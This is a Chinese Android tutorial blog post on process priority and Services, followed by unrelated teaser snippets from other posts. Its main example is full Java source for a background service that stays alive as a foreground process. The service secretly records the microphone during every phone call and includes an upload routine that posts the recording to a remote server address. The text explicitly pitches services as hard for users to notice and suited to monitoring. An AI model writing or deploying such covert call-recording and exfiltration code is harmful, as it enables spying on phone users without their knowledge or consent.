編輯:關於Android編程
首先說一下進程的優先級:
Foreground process 前台進程
優先級別最高,即便系統內存不足的時候 也不會殺死前台進程
Visible process 可見進程
優先級稍為低一點
Service process 服務進程
存活時間比較長 .
裡面的子線程不會回收.
Background process 後台進程
Empty process 空進程
沒有任何的組件進程
為什麼要使用 service 是因為service這個組件會長期的在後台運行
一般情況下不會別操作系統回收.
Android中的服務和windows中的服務是類似的東西,服務一般沒有用戶操作界面,它運行於系統中不容易被用戶發覺,可以使用它開發如監控之類的程序。服務的開發比較簡單,如下:
public class SMSService extends Service { }
采用Context.startService()方法啟動服務,只能調用Context.stopService()方法結束服務,服務結束時會調用onDestroy()方法。
采用服務監聽用戶的通話,上傳信息到服務器代碼示例:
PhoneListenService.java:
package cn.itcast.phonelistener; import java.io.File; import org.apache.commons.httpclient.methods.PostMethod; import org.apache.commons.httpclient.methods.multipart.FilePart; import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity; import org.apache.commons.httpclient.methods.multipart.Part; import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; public class PhoneListenService extends Service { // activity receiver contentprovider @Override public IBinder onBind(Intent intent) { return null; } /** * 在服務第一次被創建的時候 執行 */ @Override public void onCreate() { super.onCreate(); // 設置為前台進程 不易被系統回收 setForeground(true); // 1. 判斷當前手機的狀態, // 2.如果發現手機處於 通話狀態 // 3.創建一個錄音器, 錄下來用戶的通話信息 // 4.當發現手機再次處於 idle 狀態 停止錄音機,把音頻文件 上傳到服務器 // 得到手機與電話狀態相關的服務 TelephonyManager manager = (TelephonyManager) this .getSystemService(TELEPHONY_SERVICE); // this.getSystemService(WIFI_SERVICE); manager.listen(new MyPhoneListener(), PhoneStateListener.LISTEN_CALL_STATE); System.out.println(" 線程id " + Thread.currentThread().getName()); } private class MyPhoneListener extends PhoneStateListener { MediaRecorder recorder = null; /** * 當電話的通話狀態發生改變的時候 被調用的方法 */ @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { case TelephonyManager.CALL_STATE_IDLE: // 當前電話處於閒置狀態 System.out.println("當前電話處於閒置狀態 "); // 判斷下recorder是否為空 if (recorder != null) { recorder.stop(); recorder.release(); // Now the object cannot be reused recorder = null; new Thread() { @Override public void run() { // 上傳數據到服務器 演示的代碼 有問題的 File file = new File("/sdcard/temp.3gp"); try { // upload(file); } catch (Exception e) { e.printStackTrace(); } } }.start(); } break; case TelephonyManager.CALL_STATE_RINGING: // 當前電話處於零響狀態 System.out.println("電話號碼為 " + incomingNumber); break; case TelephonyManager.CALL_STATE_OFFHOOK: // 當前電話處於接聽狀態 System.out.println("當前電話處於通話狀態 "); // 初始化一個錄音器, recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile("/sdcard/temp.3gp"); recorder.prepare(); recorder.start(); // Recording is now started break; } } catch (Exception e) { e.printStackTrace(); } super.onCallStateChanged(state, incomingNumber); } } // 上傳數據到服務器 public void upload(File file) throws Exception { // 實例化上傳數據的 數組 part [] Part[] parts = { new FilePart("file", file) }; PostMethod filePost = new PostMethod( "http://172.16.40.157:8080/web2/LoginServlet"); filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost .getParams())); org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient(); client.getHttpConnectionManager().getParams() .setConnectionTimeout(5000); int status = client.executeMethod(filePost); System.out.println(status); if (status == 200) { System.out.println("上傳成功"); } else { throw new IllegalStateException("服務器狀態異常"); } } }DemoActivity.java:
package cn.itcast.phonelistener; import android.app.Activity; import android.content.Intent; import android.os.Bundle; public class DemoActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); Intent intent = new Intent(this, PhoneListenService.class); startService(intent); } }清單文件:
類似於以上代碼,provider、activity、receiver組件可以使用同樣的方法開始意圖。
1.簡單說明淘寶詳情頁就不用我一一介紹了,昨天逛淘寶看到這個效果時,讓我想起了去年剛學習Android只會使用現成的時候,當時在網上找了一個這種效果的使用了,並不懂怎麼實
一這是本人第一次寫博客 請多多關照第一次接觸到Android NDK 真是蒙圈 因為需要和Bluetooth下位機接觸 所以要在項目中鑲嵌Cpp 算法 然後總結了andr
我們在開發程序是經常會需要軟件全屏顯示、自定義標題(使用按鈕等控件)和其他的需求,今天這一講就是如何控制Android應用程序的窗體顯示
說在前面的話:這篇文章是看了如何優雅地使用NDK後,對原博客功能的補充。為了方便大家的閱讀順序,直接添加到原博客之中,如有侵犯版權,請聯系我。這篇博客有轉載,有原創,只是